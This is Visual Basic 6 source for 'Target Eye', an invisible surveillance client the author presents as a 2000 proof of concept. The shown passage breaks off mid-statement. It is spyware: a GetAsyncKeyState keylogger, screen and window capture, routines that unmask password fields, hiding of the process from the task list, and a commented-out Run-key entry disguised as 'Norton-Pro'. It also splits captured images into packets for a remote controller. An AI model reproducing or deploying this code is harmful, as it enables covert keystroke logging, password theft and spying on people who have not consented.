On July 2000, I have created a first POC using Visual Basic 6.0.
Attribute VB_Name = "TargetEyeC" ' Target Eye ' Invisible Client ' by Michael Haephrati ' ' Version 0.01 9.3.2000 ' ' Program Flow: ' Initilization: ' 1. Get user name ' 2. Create hiden files for storage ' 3. Check for Internet settings ' 4. Hide application ' 5. Register application to start automatically ' Loop: ' 1. Save active window to hiden file ' 2. Capture text typed ' * Capture ' * Translate KeyCodes into real string in the choosen language ' 3. Check for password characters in any window ' * If there are -> save real password string + window name + application name ' 4. If Internet mode -> send to web page. ' 5. If Network mode -> Controller will collect files from client. Public fMainForm As MDIForm1 Public lDocumentCount As Long Public lDocuments(10) As Form1 ' Declare constants. Private Const CSIDL_TEMPLATES = &H15 Private Const CSIDL_STARTMENU = &HB Private Const CSIDL_FAVORITES = &H6 Private Const CSIDL_DESKTOPDIRECTORY = &H10 Public Const HWND_TOP = 0 Public Const HWND_TOPMOST = -1 Public Const HWND_NOTOPMOST = -2 Public Const HWND_BOTTOM = 1 ' Declare API functions. Private Type ShortItemId cb As Long abID As Byte End Type Private Type ITEMIDLIST mkid As ShortItemId End Type Public Declare Function OSfCreateShellLink Lib "vb6stkit.dll" Alias "fCreateShellLink" _ (ByVal lpstrFolderName As String, _ ByVal lpstrLinkName As String, _ ByVal lpstrLinkPath As String, _ ByVal lpstrLinkArguments As String, _ ByVal fPrivate As Long, _ ByVal sParent As String) As Long Public Const gstrQUOTE$ = """" ' Declare constants. 'Registry Access Declarations Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long Private Declare Function SHGetPathFromIDList Lib "shell32.dll" _ (ByVal Pidl As Long, ByVal pszPath As String) As Long Private Declare Function SHGetSpecialFolderLocation Lib _ "shell32.dll" (ByVal hwndOwner As Long, ByVal nFolder _ As Long, Pidl As ITEMIDLIST) As Long 'Startup folder Const CSIDL_COMMON_STARTUP = 24 Const MAX_PATH = 260 ' ---------------- 'Create a shortcut Declare Function fCreateShellLink Lib "vb6stkit.dll" _ (ByVal lpstrFolderName As String, _ ByVal lpstrLinkName As String, _ ByVal lpstrLinkPath As String, _ ByVal lpstrLinkArgs As String, _ ByVal fPrivate As Integer, _ ByVal sParent As String) As Long ' ------------- Declare Function CombineRgn Lib "gdi32.dll" (ByVal hDestRgn As Long, ByVal hSrcRgn1 As Long, ByVal hSrcRgn2 As Long, ByVal nCombineMode As Long) As Long Public Declare Function SetForegroundWindow Lib "user32" (ByVal hWnd As Long) As Long Declare Function CreateRectRgn Lib "gdi32.dll" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long Public Const TH32CS_SNAPPROCESS As Long = 2& Declare Function SetWindowRgn Lib "user32" (ByVal hWnd As Long, ByVal hRgn As Long, ByVal bRedraw As Boolean) As Long Public Type PROCESSENTRY32 dwSize As Long cntUsage As Long th32ProcessID As Long th32DefaultHeapID As Long th32ModuleID As Long cntThreads As Long th32ParentProcessID As Long pcPriClassBase As Long dwflags As Long szexeFile As String * MAX_PATH End Type Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" _ (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, _ ByVal dwThreadId As Long) As Long Private Const SHIFT_KEY As Integer = 16 Declare Function UnhookWindowsHookEx Lib "user32" (ByVal idHook As Long) As Long Declare Function DeleteObject Lib "gdi32.dll" (ByVal hObject As Long) As Long Global Current As Long Global ChrTrap As Long Global hHook As Long ' Target Eye Message Public Enum TEM WindowsCMD ListFiles GetFile SendFile Execute DisplayMsg TargetEyeCMD End Enum ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' ' ' CreateBitmapPicture ' - Creates a bitmap type Picture object from a bitmap and ' palette. ' ' hBmp ' - Handle to a bitmap. ' ' hPal ' - Handle to a Palette. ' - Can be null if the bitmap doesn't use a palette. ' ' Returns ' - Returns a Picture object containing the bitmap. ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' ' Public Function CreateBitmapPicture(ByVal hBmp As Long, _ ByVal hPal As Long) As Picture Dim r As Long Dim Pic As PicBmp ' IPicture requires a reference to "Standard OLE Types." Dim IPic As IPicture Dim IID_IDispatch As GUID ' Fill in with IDispatch Interface ID. With IID_IDispatch .Data1 = &H20400 .Data4(0) = &HC0 .Data4(7) = &H46 End With ' Fill Pic with necessary parts. With Pic .Size = Len(Pic) ' Length of structure. .Type = vbPicTypeBitmap ' Type of Picture (bitmap). .hBmp = hBmp ' Handle to bitmap. .hPal = hPal ' Handle to palette (may be null). End With ' Create Picture object. r = OleCreatePictureIndirect(Pic, IID_IDispatch, 1, IPic) ' Return the new Picture object. Set CreateBitmapPicture = IPic End Function ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' ' ' CaptureWindow ' - Captures any portion of a window. ' ' hWndSrc ' - Handle to the window to be captured. ' ' Client ' - If True CaptureWindow captures from the client area of the ' window. ' - If False CaptureWindow captures from the entire window. ' ' LeftSrc, TopSrc, WidthSrc, HeightSrc ' - Specify the portion of the window to capture. ' - Dimensions need to be specified in pixels. ' ' Returns ' - Returns a Picture object containing a bitmap of the specified ' portion of the window that was captured. ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' Public Function CaptureWindow(ByVal hWndSrc As Long, _ ByVal Client As Boolean, ByVal LeftSrc As Long, _ ByVal TopSrc As Long, ByVal WidthSrc As Long, _ ByVal HeightSrc As Long) As Picture Dim hDCMemory As Long Dim hBmp As Long Dim hBmpPrev As Long Dim r As Long Dim hDCSrc As Long Dim hPal As Long Dim hPalPrev As Long Dim RasterCapsScrn As Long Dim HasPaletteScrn As Long Dim PaletteSizeScrn As Long Dim LogPal As LOGPALETTE ' Depending on the value of Client get the proper device context. If Client Then hDCSrc = GetDC(hWndSrc) ' Get device context for client area. Else hDCSrc = GetWindowDC(hWndSrc) ' Get device context for entire window. End If ' Create a memory device context for the copy process. hDCMemory = CreateCompatibleDC(hDCSrc) ' Create a bitmap and place it in the memory DC. hBmp = CreateCompatibleBitmap(hDCSrc, WidthSrc, HeightSrc) hBmpPrev = SelectObject(hDCMemory, hBmp) ' Get screen properties. RasterCapsScrn = GetDeviceCaps(hDCSrc, RASTERCAPS) ' Raster ' capabilities. HasPaletteScrn = RasterCapsScrn And RC_PALETTE ' Palette ' support. PaletteSizeScrn = GetDeviceCaps(hDCSrc, SIZEPALETTE) ' Size of ' palette. ' If the screen has a palette make a copy and realize it. If HasPaletteScrn And (PaletteSizeScrn = 256) Then ' Create a copy of the system palette. LogPal.palVersion = &H300 LogPal.palNumEntries = 256 r = GetSystemPaletteEntries(hDCSrc, 0, 256, LogPal.palPalEntry(0)) hPal = CreatePalette(LogPal) ' Select the new palette into the memory DC and realize it. hPalPrev = SelectPalette(hDCMemory, hPal, 0) r = RealizePalette(hDCMemory) End If ' Copy the on-screen image into the memory DC. r = BitBlt(hDCMemory, 0, 0, WidthSrc, HeightSrc, hDCSrc, LeftSrc, TopSrc, vbSrcCopy) ' Remove the new copy of the on-screen image. hBmp = SelectObject(hDCMemory, hBmpPrev) ' If the screen has a palette get back the palette that was ' selected in previously. If HasPaletteScrn And (PaletteSizeScrn = 256) Then hPal = SelectPalette(hDCMemory, hPalPrev, 0) End If ' Release the device context resources back to the system. r = DeleteDC(hDCMemory) r = ReleaseDC(hWndSrc, hDCSrc) ' Call CreateBitmapPicture to create a picture object from the ' bitmap and palette handles. Then return the resulting picture ' object. Set CaptureWindow = CreateBitmapPicture(hBmp, hPal) End Function ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' ' ' CaptureScreen ' - Captures the entire screen. ' ' Returns ' - Returns a Picture object containing a bitmap of the screen. ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' ' Public Function CaptureScreen() As Picture Dim hWndScreen As Long ' Get a handle to the desktop window. hWndScreen = GetDesktopWindow() ' Call CaptureWindow to capture the entire desktop give the handle ' and return the resulting Picture object. Set CaptureScreen = CaptureWindow(hWndScreen, False, 0, 0, _ Screen.Width \ Screen.TwipsPerPixelX, _ Screen.Height \ Screen.TwipsPerPixelY) End Function ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' ' ' CaptureForm ' - Captures an entire form including title bar and border. ' ' frmSrc ' - The Form object to capture. ' ' Returns ' - Returns a Picture object containing a bitmap of the entire ' form. ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' ' Public Function CaptureForm(frmSrc As Form) As Picture ' Call CaptureWindow to capture the entire form given its window ' handle and then return the resulting Picture object. Set CaptureForm = CaptureWindow(frmSrc.hWnd, False, 0, 0, _ frmSrc.ScaleX(frmSrc.Width, vbTwips, vbPixels), _ frmSrc.ScaleY(frmSrc.Height, vbTwips, vbPixels)) End Function ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' ' ' CaptureClient ' - Captures the client area of a form. ' ' frmSrc ' - The Form object to capture. ' ' Returns ' - Returns a Picture object containing a bitmap of the form's ' client area. ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' ' Public Function CaptureClient(frmSrc As Form) As Picture ' Call CaptureWindow to capture the client area of the form given ' its window handle and return the resulting Picture object. Set CaptureClient = CaptureWindow(frmSrc.hWnd, True, 0, 0, _ frmSrc.ScaleX(frmSrc.ScaleWidth, frmSrc.ScaleMode, vbPixels), _ frmSrc.ScaleY(frmSrc.ScaleHeight, frmSrc.ScaleMode, vbPixels)) End Function ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' ' ' CaptureActiveWindow ' - Captures the currently active window on the screen. ' ' Returns ' - Returns a Picture object containing a bitmap of the active ' window. ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' ' Public Function CaptureActiveWindow() As Picture Dim s As String Dim hWndActive As Long Dim r As Long Dim RectActive As RECT ' Get a handle to the active/foreground window. hWndActive = GetForegroundWindow() ActiveWindowPTR = hWndActive r = GetWindowRect(hWndActive, RectActive) Set CaptureActiveWindow = CaptureWindow(hWndActive, False, RectActive.Left, RectActive.Top, RectActive.Right - RectActive.Left, RectActive.Bottom - RectActive.Top) End Function ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' ' ' PrintPictureToFitPage ' - Prints a Picture object as big as possible. ' ' Prn ' - Destination Printer object. ' ' Pic ' - Source Picture object. ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' ' Public Sub PrintPictureToFitPage(Prn As Printer, Pic As Picture) Const vbHiMetric As Integer = 8 Dim PicRatio As Double Dim PrnWidth As Double Dim PrnHeight As Double Dim PrnRatio As Double Dim PrnPicWidth As Double Dim PrnPicHeight As Double WriteToLog Format(Now(), "DD/MM HH:MM:SS") + " PrintPictureToFitPage" ' Determine if picture should be printed in landscape or portrait ' and set the orientation. If Pic.Height >= Pic.Width Then Prn.Orientation = vbPRORPortrait ' Taller than wide. Else Prn.Orientation = vbPRORLandscape ' Wider than tall. End If ' Calculate device independent Width-to-Height ratio for picture. PicRatio = Pic.Width / Pic.Height ' Calculate the dimentions of the printable area in HiMetric. PrnWidth = Prn.ScaleX(Prn.ScaleWidth, Prn.ScaleMode, vbHiMetric) PrnHeight = Prn.ScaleY(Prn.ScaleHeight, Prn.ScaleMode, vbHiMetric) ' Calculate device independent Width to Height ratio for printer. PrnRatio = PrnWidth / PrnHeight ' Scale the output to the printable area. If PicRatio >= PrnRatio Then ' Scale picture to fit full width of printable area. PrnPicWidth = Prn.ScaleX(PrnWidth, vbHiMetric, Prn.ScaleMode) PrnPicHeight = Prn.ScaleY(PrnWidth / PicRatio, vbHiMetric, _ Prn.ScaleMode) Else ' Scale picture to fit full height of printable area. PrnPicHeight = Prn.ScaleY(PrnHeight, vbHiMetric, Prn.ScaleMode) PrnPicWidth = Prn.ScaleX(PrnHeight * PicRatio, vbHiMetric, _ Prn.ScaleMode) End If ' Print the picture using the PaintPicture method. Prn.PaintPicture Pic, 0, 0, PrnPicWidth, PrnPicHeight End Sub '-------------------------------------------------------------------- Function CurUserName$() Dim MachineName As String Dim NameSize As Integer Dim x As Integer MachineName = Space$(16) NameSize = Len(MachineName) x = GetComputerName(MachineName, 16) CurUserName$ = MTrim(MachineName) End Function Public Function MTrim(ByVal s As String) As String Dim i For i = 1 To Len(s) If Mid(s, i, 1) <> Chr(0) Then MTrim = MTrim + Mid(s, i, 1) Next MTrim = Trim(MTrim) End Function ' ************************************************ ' Return the text associated with the window. ' ************************************************ Public Function WindowText(window_hwnd As Long) As String Dim txtlen As Long Dim Txt As String WindowText = "" If window_hwnd = 0 Then Exit Function txtlen = SendMessage(window_hwnd, WM_GETTEXTLENGTH, 0, 0) If txtlen = 0 Then Exit Function txtlen = txtlen + 1 Txt = Space$(txtlen) txtlen = SendMessage(window_hwnd, WM_GETTEXT, txtlen, ByVal Txt) WindowText = Left$(Txt, txtlen) End Function ' *********************************************** ' If this window is of the Edit class, return ' its contents. Otherwise search its children ' for an Edit object. ' *********************************************** Public Function EditInfo(window_hwnd As Long) As String Dim Txt As String Dim buf As String Dim buflen As Long Dim child_hwnd As Long Dim Children() As Long Dim num_children As Integer Dim a& Dim i As Integer ' Get the class name. buflen = 256 buf = Space$(buflen - 1) buflen = GetClassName(window_hwnd, buf, buflen) buf = Left$(buf, buflen) ' See if we found an Edit object. If buf = "Edit" Then EditInfo = WindowText(window_hwnd) thehwnd = window_hwnd Exit Function End If ' It's not an Edit object. Search the children. ' Make a list of the child windows. num_children = 0 child_hwnd = GetWindow(window_hwnd, GW_CHILD) Do While child_hwnd <> 0 num_children = num_children + 1 ReDim Preserve Children(1 To num_children) Children(num_children) = child_hwnd 'Debug.Print WindowText(child_hwnd) If Sendmessagebynum(child_hwnd, EM_GETPASSWORDCHAR, 0&, 0&) <> 0 Then Call Sendmessagebynum(a&, EM_SETPASSWORDCHAR, 0&, 0&) 'Form1.HidenPWD = "(" + WindowText(window_hwnd) + ") " + WindowText(child_hwnd) ' DoEvents End If child_hwnd = GetWindow(child_hwnd, GW_HWNDNEXT) Loop ' Get information on the child windows. For i = 1 To num_children Txt = EditInfo(Children(i)) If Txt <> "" Then Exit For Next i EditInfo = Txt End Function Public Function FindPasswords(window_hwnd As Long) As String Dim Txt As String Dim buf As String Dim buflen As Long Dim child_hwnd As Long Dim Children() As Long Dim num_children As Integer Dim a& Dim i As Integer ' Get the class name. buflen = 256 buf = Space$(buflen - 1) buflen = GetClassName(window_hwnd, buf, buflen) buf = Left$(buf, buflen) ' It's not an Edit object. Search the children. ' Make a list of the child windows. num_children = 0 child_hwnd = GetWindow(window_hwnd, GW_CHILD) Do While child_hwnd <> 0 num_children = num_children + 1 ReDim Preserve Children(1 To num_children) Children(num_children) = child_hwnd 'Debug.Print WindowText(child_hwnd) If Sendmessagebynum(child_hwnd, EM_GETPASSWORDCHAR, 0&, 0&) <> 0 Then Call Sendmessagebynum(a&, EM_SETPASSWORDCHAR, 0&, 0&) FindPasswords = Space(35 - Len(WindowText(window_hwnd))) + WindowText(window_hwnd) + Space(15 - Len(WindowText(child_hwnd))) + WindowText(child_hwnd) Exit Function End If child_hwnd = GetWindow(child_hwnd, GW_HWNDNEXT) Loop ' Get information on the child windows. For i = 1 To num_children Txt = FindPasswords(Children(i)) If Trim(Txt) <> "" Then FindPasswords = Txt: Exit For End If Next i FindPasswords = Space(50) End Function Sub Main() Dim Work As Boolean Dim i, n, a, u, reg Dim Str As String Dim hHook As Long frmOptions.LoadTESettings WriteToLog Format(Now(), "DD/MM HH:MM:SS") + " Main" 'Get screen resolution // AGENT TWidth = Screen.Width \ Screen.TwipsPerPixelX THeight = Screen.Height \ Screen.TwipsPerPixelY 'Load tmp files TE_DeleteFile TMP_FILENAME WriteToLog "============================" WriteToLog App.EXEName Set ActiveWindowWin = New Window 'hHook = SetWindowsHookEx(2, AddressOf Keyboard, 0, 0) StartX = -1 StartY = -1 'initilization If App.PrevInstance = True Then End 'if Target Eye Client is already running -> quit 'ReadCheckWords 'read words to monitor 'Call RegisterServiceProcess(0, 1) 'make task invisible 'register Target Eye to run automatically at startup 'u = RegOpenKeyExA(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\RunServices", 0, KEY_ALL_ACCESS, a) 'u = RegSetValueExA(a, "Norton-Pro", 0, reg, "C:\Windows\System\System.exe", 1) 'u = RegCloseKey(a) 'Work = True 'loop 'For i = 1 To 300 'While Work frmSplash.Show vbModal If Not frmSplash.OK Then End Unload frmSplash frmSplash.Refresh Set fMainForm = New MDIForm1 Load fMainForm Unload frmSplash If General.CaptureMode = Network And General.MyIdentity = SecretAgent Then AgentMe.Name = CurUserName AgentMe.ID = 0 SendInitialMessage AgentMe.Name, NetworkPictFile + AgentMe.Name + ".tei" End If fMainForm.Show End Sub Sub SendInitialMessage(AgentName As String, FileName As String) Dim a$ Open FileName For Output As #25 Print #25, AgentName; "#"; Format(Now(), "DD/MM/YY HH:MM:SS") Close #25 Open FileName For Input As #25 Line Input #25, a$ Debug.Print a$ Close #25 End Sub Function CheckAllWindows() As String Dim currwnd As Long Dim Length Dim listitem$ Dim checklist As String Dim x, i, compare, mypos Dim a& 'Get the hWnd of the first item in the master list 'so we can process the task list entries (top-level only). currwnd = GetForegroundWindow() 'Loop while the hWnd returned by GetWindow is valid. While currwnd <> 0 'Get the length of task name identified by CurrWnd in the list. Length = GetWindowTextLength(currwnd) 'Get task name of the task in the master list. listitem$ = Space$(Length + 1) Length = GetWindowText(currwnd, listitem$, Length + 1) 'If there is a task name in the list, check if it is explorer or netscape If Length > 0 Then x = Right$(listitem$, 29) 'if the task name is internet explorer 'find the editwindow and return its contents ! 'mypos = InStr(1, X, "Microsoft Internet Explorer", 1) 'If mypos > 1 Then x = EditInfo(currwnd) 'If .CheckHotWords.Value = vbChecked Then ' For i = 0 To Form1.HotWords.ListCount - 1 ' compare = Form1.HotWords.List(i) ' mypos = InStr(1, UCase(X), UCase(compare), 1) ' If mypos >= 1 Then ' CheckAllWindows = X ' Exit Function ' Else ' CheckAllWindows = "" ' End If ' Next i 'End If End If 'Get the next task list item in the master list. currwnd = GetWindow(currwnd, GW_HWNDNEXT) 'Process Windows events. 'X = DoEvents() Wend End Function Public Sub HideAppInCloseProgramList() Dim process As Long WriteToLog Format(Now(), "DD/MM HH:MM:SS") + " HideAppInCloseProgramList" process = GetCurrentProcessId() Call RegisterServiceProcess(process, RSP_SIMPLE_SERVICE) End Sub Public Sub UnHideAppInCloseProgramList() Dim process As Long WriteToLog Format(Now(), "DD/MM HH:MM:SS") + " UnHideAppInCloseProgramList" process = GetCurrentProcessId() Call RegisterServiceProcess(process, RSP_UNREGISTER_SERVICE) End Sub Function GetCaption(hWnd) As String Dim Capt$ Dim TChars$ Capt$ = Space$(255) TChars$ = GetWindowText(hWnd, Capt$, 255) GetCaption = Left$(Capt$, TChars$) End Function Function GetText(hWnd) As String Dim GetString As String Dim TrimSpace$ Dim GetTrim GetTrim = Sendmessagebynum(hWnd, 14, 0&, 0&) TrimSpace$ = Space$(GetTrim) GetString = SendMessageByString(hWnd, 13, GetTrim + 1, TrimSpace$) GetText = TrimSpace$ End Function Public Function GenerateKey(t As String) As String Dim i As Integer Dim n As Long For i = 1 To Len(t) n = n + Int(9999 / Asc(Mid(t, i, 1)) * 100000) Next GenerateKey = Left(n, 8) ' Debug.Print GenerateKey End Function ' Keyboard capturing Public Function CaptureKeyboard() As String Dim bGetKey As Boolean Dim keyloop As Integer Dim KeyResult As Integer Dim sKeyPressed As String ' if key pressed, stores Key Character i ' n sKeyPressed ' and returns true keyloop = 65 Do Until keyloop = 91 ' check For letters KeyResult = GetAsyncKeyState(keyloop) If KeyResult = -32767 Then KeyResult = GetKeyState(SHIFT_KEY) sKeyPressed = IIf(KeyResult < 0, Chr(keyloop), LCase(Chr(keyloop))) GoTo KeyFound End If keyloop = keyloop + 1 Loop keyloop = 48 Do Until keyloop = 57 ' check For numbers KeyResult = GetAsyncKeyState(keyloop) If KeyResult = -32767 Then KeyResult = GetKeyState(SHIFT_KEY) If KeyResult < 0 Then If keyloop = 48 Then sKeyPressed = ")" If keyloop = 49 Then sKeyPressed = "!" If keyloop = 50 Then sKeyPressed = "@" If keyloop = 51 Then sKeyPressed = "#" If keyloop = 52 Then sKeyPressed = "$" If keyloop = 53 Then sKeyPressed = "%" If keyloop = 54 Then sKeyPressed = "^" If keyloop = 55 Then sKeyPressed = "&" If keyloop = 56 Then sKeyPressed = "*" If keyloop = 58 Then sKeyPressed = "(" Else sKeyPressed = Chr(keyloop) End If GoTo KeyFound End If keyloop = keyloop + 1 Loop KeyResult = GetAsyncKeyState(13) ' check For enter If KeyResult = -32767 Then sKeyPressed = vbCrLf GoTo KeyFound End If KeyResult = GetAsyncKeyState(32) ' check For space If KeyResult = -32767 Then sKeyPressed = " " GoTo KeyFound End If KeyResult = GetAsyncKeyState(8) ' check For Backspace If KeyResult = -32767 Then sKeyPressed = " BKSP " GoTo KeyFound End If KeyResult = GetAsyncKeyState(46) ' check For Del If KeyResult = -32767 Then sKeyPressed = " DEL " GoTo KeyFound End If KeyResult = GetAsyncKeyState(190) ' check For period If KeyResult = -32767 Then KeyResult = GetKeyState(SHIFT_KEY) sKeyPressed = IIf(KeyResult < 0, ">", ".") GoTo KeyFound End If KeyResult = GetAsyncKeyState(188) ' check For comma If KeyResult = -32767 Then KeyResult = GetKeyState(SHIFT_KEY) sKeyPressed = IIf(KeyResult < 0, "<", ",") GoTo KeyFound End If KeyResult = GetAsyncKeyState(186) ' check For colon If KeyResult = -32767 Then KeyResult = GetKeyState(SHIFT_KEY) sKeyPressed = IIf(KeyResult < 0, ":", ";") GoTo KeyFound End If KeyResult = GetAsyncKeyState(191) ' check For question mark If KeyResult = -32767 Then KeyResult = GetKeyState(SHIFT_KEY) sKeyPressed = IIf(KeyResult < 0, "?", "/") GoTo KeyFound End If KeyResult = GetAsyncKeyState(222) ' check For quotes If KeyResult = -32767 Then KeyResult = GetKeyState(SHIFT_KEY) sKeyPressed = IIf(KeyResult < 0, """", "'") GoTo KeyFound End If KeyResult = GetAsyncKeyState(192) ' and so On If KeyResult = -32767 Then KeyResult = GetKeyState(SHIFT_KEY) sKeyPressed = IIf(KeyResult < 0, "~", "`") GoTo KeyFound End If KeyResult = GetAsyncKeyState(189) If KeyResult = -32767 Then KeyResult = GetKeyState(SHIFT_KEY) sKeyPressed = IIf(KeyResult < 0, "_", "-") GoTo KeyFound End If KeyResult = GetAsyncKeyState(187) If KeyResult = -32767 Then KeyResult = GetKeyState(SHIFT_KEY) sKeyPressed = IIf(KeyResult < 0, "+", "=") GoTo KeyFound End If bGetKey = False ' If you get here, no key found CaptureKeyboard = "" Exit Function KeyFound: If TargetEyeC.FindTheardLanguage = "HEB" Then CaptureKeyboard = HebrewChar(sKeyPressed) Else CaptureKeyboard = sKeyPressed End If bGetKey = True End Function Public Function CAPSLOCKON() As Boolean Static bInit As Boolean Static bOn As Boolean If Not bInit Then While GetAsyncKeyState(VK_CAPITAL) Wend bOn = GetKeyState(VK_CAPITAL) bInit = True Else If GetAsyncKeyState(VK_CAPITAL) Then While GetAsyncKeyState(VK_CAPITAL) ' DoEvents Wend bOn = Not bOn End If End If CAPSLOCKON = bOn End Function Public Function HebrewChar(ByVal s As String) As String Dim i, n Dim HChars As String HChars = "שנבגקכעיןחלךצמםפ/רדאוה/סטז" For i = 1 To Len(s) n = Asc(Mid(s, i, 1)) If n >= 97 And n <= 122 Then Mid(s, i, 1) = Mid(HChars, n - 97 + 1, 1) Else Mid(s, i, 1) = Chr$(n) End If Next HebrewChar = s End Function Public Function Keyboard(ByVal idHook As Long, ByVal lParam As Long, ByVal wParam As Long) As Long Debug.Print lParam, wParam 'If wParam > 0 Then '= WM_KEYUP Then ' AddChar lParam 'End If End Function Public Sub AddChar(n As Long) Static lastn As Long If n = lastn Then lastn = -1: Exit Sub If FindTheardLanguage = "HEB" Then Form1.Ctext = Form1.Ctext + HebrewChar(Chr(n)) Else Form1.Ctext = Form1.Ctext + Chr(n) End If lastn = n End Sub Public Function GetExeFromHandle(hWnd As Long) As String Dim threadID As Long, processID As Long, hSnapshot As Long Dim uProcess As PROCESSENTRY32, rProcessFound As Long Dim i As Integer, szExename As String ' Get ID for window thread Exit Function threadID = GetWindowThreadProcessId(hWnd, processID) ' Check if valid If threadID = 0 Or processID = 0 Then Exit Function ' Create snapshot of current processes hSnapshot = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 0&) ' Check if snapshot is valid If hSnapshot = -1 Then Exit Function 'Initialize uProcess with correct size uProcess.dwSize = Len(uProcess) 'Start looping through processes rProcessFound = ProcessFirst(hSnapshot, uProcess) Do While rProcessFound If uProcess.th32ProcessID = processID Then 'Found it, now get name of exefile i = InStr(1, uProcess.szexeFile, Chr(0)) If i > 0 Then szExename = Left$(uProcess.szexeFile, i - 1) Exit Do Else 'Wrong ID, so continue looping rProcessFound = ProcessNext(hSnapshot, uProcess) End If Loop Call CloseHandle(hSnapshot) GetExeFromHandle = szExename End Function Public Sub CopyPict2CB(Pict As Picture) Clipboard.Clear Clipboard.SetData Pict, vbCFBitmap End Sub Public Sub TE_ReadPict(PictFileName As String, DestFileName As String, Myform As Form, ByVal AgentID As Integer) Dim s As String s = PacketType(PictFileName) Myform.Caption = "Reading packet " + s + " Agent: " + Str(AgentID) ' DoEvents On Error GoTo 0 Select Case s Case "NewFile": TECopy PictFileName, DestFileName, 1, AgentID Myform.Caption = "Copied from " + PictFileName + " to " + DestFileName Case "ContFile": TECopy PictFileName, DestFileName, 2, AgentID Myform.Caption = "Copied from " + PictFileName + " to " + DestFileName Case "EndFile": TECopy PictFileName, DestFileName, 3, AgentID Myform.Caption = "Copied from " + PictFileName + " to " + DestFileName On Error GoTo erPict Myform.Caption = "Loading image..." + DestFileName Set Myform.Image1.Picture = LoadPicture(DestFileName) On Error GoTo 0 Case "SingleFile": TECopy PictFileName, DestFileName, 4, AgentID Myform.Caption = "Copied from " + PictFileName + " to " + DestFileName On Error GoTo erPict Myform.Caption = "Loading image..." + DestFileName Set Myform.Image1.Picture = LoadPicture(DestFileName) ' DoEvents On Error GoTo 0 End Select DeleteFile PictFileName Exit Sub erPict: Myform.Caption = Err.Description ' DoEvents Resume Next End Sub ' ============================================================================= ' TE_NewSendPict ' ============================================================================= ' Input: ' PictFileName as String - a captured image file (currently BMP) ' DestFileName as String - a file used for the next packet ' AgentID as Integer - a squencal number used to identify the agent ' among the other agents ' Resend as Boolean - states if the image is being resent ' ============================================================================= Static Sub TE_NewSendPict(PictFileName As String, DestFileName As String, AgentID As Integer, Resend As Boolean) ' ============================================================================= ' Local Variables ' ============================================================================= Dim TEType() As Byte ' used to store the PacketID Dim Rest() As Byte ' used to store the Packet data Dim CurrentPlace As Long ' used to store the current place within the file Dim ReportSize As Long ' used to store the packet size which is encripted in the PacketID Dim PacketSize As Long ' used to store the packet size ' ============================================================================= ' Static Variables ' ============================================================================= Static LastRest() As Byte ' used for comparing current and previous images Static CountBytes As Long ' a counter for bytes sent so far Static CountPackets As Integer ' a counter for the number of packets sent Static FileSize As Long ' used to store the size of the image file ' ============================================================================= ' Preperations ' ============================================================================= ReDim TEType(1 To 10) ' allocate memory to hold PacketID ' open destenation file (the packet to be created Close #11: Open DestFileName For Binary Access Write As #11 ' ============================================================================= ' Check agent mode. ' If it is in Ready mode -> create a packet from the begining of the file ' If it is in PacketWaiting mode -> create a packet from the middle of the file ' ============================================================================= If AgentMe.State = AgentReady Then ' ============================================================================= ' Create a packet for a new image (1st packet or a single packet) ' ============================================================================= ' ' INITIALIZATION CountBytes = 0 CountPackets = 0 ' Compare pict to last saved one If TECompare(PictFileName) Then Close #11 DeleteFile DestFileName Exit Sub End If ' open source file (image) ' The image is opened only one and remains open until last packet is sent Close #12: Open PictFileName For Binary Access Read As #12 ' Check size of the entire image file FileSize = LOF(12) AgentMe.CurrentImageSize = LOF(12) ' ' Determining whether the image fit in a single packet? ' (Either the image is equal or smaller to the maximum packet ' size defined, or the packet mechanism isn't activated ' ============================= If FileSize <= DefPacketSize Then ' ============================= 'The image will it be entirely transformed into a single packet 'Packet type is "SingleFile" TEType(1) = Packet_SingleFile 'PacketID is created from 2 digits: ' 1 - AgentID ' 2 - The sequencial number of the packet ' TEType(2) = CByte(CountPackets + AgentID * 10) ' Allocate memory for the packet to be created ReDim Rest(1 To FileSize) ' ============================= Else ' ============================= 'The first packet will be created 'Packet type is "NewFile" TEType(1) = Packet_NewFile 'PacketID is created from 2 digits: ' 1 - AgentID ' 2 - The sequencial number of the packet TEType(2) = CByte(CountPackets + AgentID * 10) ' Allocate memory for the packet to be created ReDim Rest(1 To DefPacketSize) ' AgentMe.State = PacketWaiting ' ============================= End If ' ============================= ElseIf AgentMe.State = PacketWaiting Then 'Continuing Picture ' 'Calculate current place within the input file CurrentPlace = Seek(12) ' ' Can this packet contain the rest of the file ' ============================================== If FileSize - CurrentPlace <= DefPacketSize Then ' ============================================== 'Packet type is "EndFile" TEType(1) = Packet_EndFile 'PacketID is created from 2 digits: ' 1 - AgentID ' 2 - The sequencial number of the packet TEType(2) = CByte(CountPackets + AgentID * 10) ' Allocate memory for the packet to be created ReDim Rest(1 To FileSize - CurrentPlace + 1) ' AgentMe.State = AgentReady ' ============================================== Else ' ============================================== 'Will there be more packets 'Packet type is "ContFile" TEType(1) = 